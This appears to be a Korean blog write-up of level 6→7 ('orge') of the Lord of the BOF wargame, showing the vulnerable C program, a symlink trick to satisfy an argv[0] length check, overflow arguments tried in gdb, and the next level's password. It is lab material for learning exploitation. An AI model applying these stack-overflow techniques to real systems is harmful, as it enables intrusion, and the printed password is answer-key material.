본문 바로가기

워게임/lord of bof

level 6 -> 7


[darkelf@localhost darkelf]$ cat orge.c 

/*

        The Lord of the BOF : The Fellowship of the BOF

        - orge

        - check argv[0]

*/


#include <stdio.h>

#include <stdlib.h>


extern char **environ;


main(int argc, char *argv[])

{

char buffer[40];

int i;


if(argc < 2){

printf("argv error\n");

exit(0);

}


// here is changed!

if(strlen(argv[0]) != 77){

                printf("argv[0] error\n");

                exit(0);

}


// egghunter 

for(i=0; environ[i]; i++)

memset(environ[i], 0, strlen(environ[i]));


if(argv[1][47] != '\xbf')

{

printf("stack is still your friend.\n");

exit(0);

}


// check the length of argument

if(strlen(argv[1]) > 48){

printf("argument is too long!\n");

exit(0);

}


strcpy(buffer, argv[1]); 

printf("%s\n", buffer);


        // buffer hunter

        memset(buffer, 0, 40);


argv[0]이 77byte여야하네요 ㅋㅋ 심볼릭 링크를 이용하란 얘기겠군요


[darkelf@localhost test]$ ln -s orge `perl -e 'print "A"x75'`
[darkelf@localhost test]$ ls
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  orge

맨첨에 77byte로 생성했는데.. "./"까지 argv[0] 길이에 포함되더라구여.. 처음암 아무튼 75byte로 수정해서 심볼릭 링크 생성해주고..

(gdb) r `perl -e 'print "A"x44, "\xbf"x4'`
Starting program: /home/darkelf/test/./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA `perl -e 'print "A"x44, "\xbf"x4'`
argv[0] error

ㅡㅡ;
gdb로 디버깅 하려면 앞에 있는 /home/어쩌고의 크기까지 계산해줘야하나봅니다..
19byte를 빼줘서 56byte네요
아무튼 이것도 아까랑 마찬가지로 argv가 따로 영역에 저장되는걸 이용해 bof를 해보도록 하겠습니당

 

성공!!..했지만 복사한 바이너리에서만 따지고 문제 바이너리에선 안되네여; 때려맞추기로 맞춰서 성공했습니다 0x10차이네요

bash$ my-pass 
euid = 507
timewalker
bash$


'워게임 > lord of bof' 카테고리의 다른 글

level 8 -> 9  (0) 2015.10.23
level 7 -> 8  (0) 2015.10.23
level 5 -> 6  (0) 2015.10.23
level 4 -> 5  (0) 2015.10.23
level 3 -> 4  (0) 2015.10.23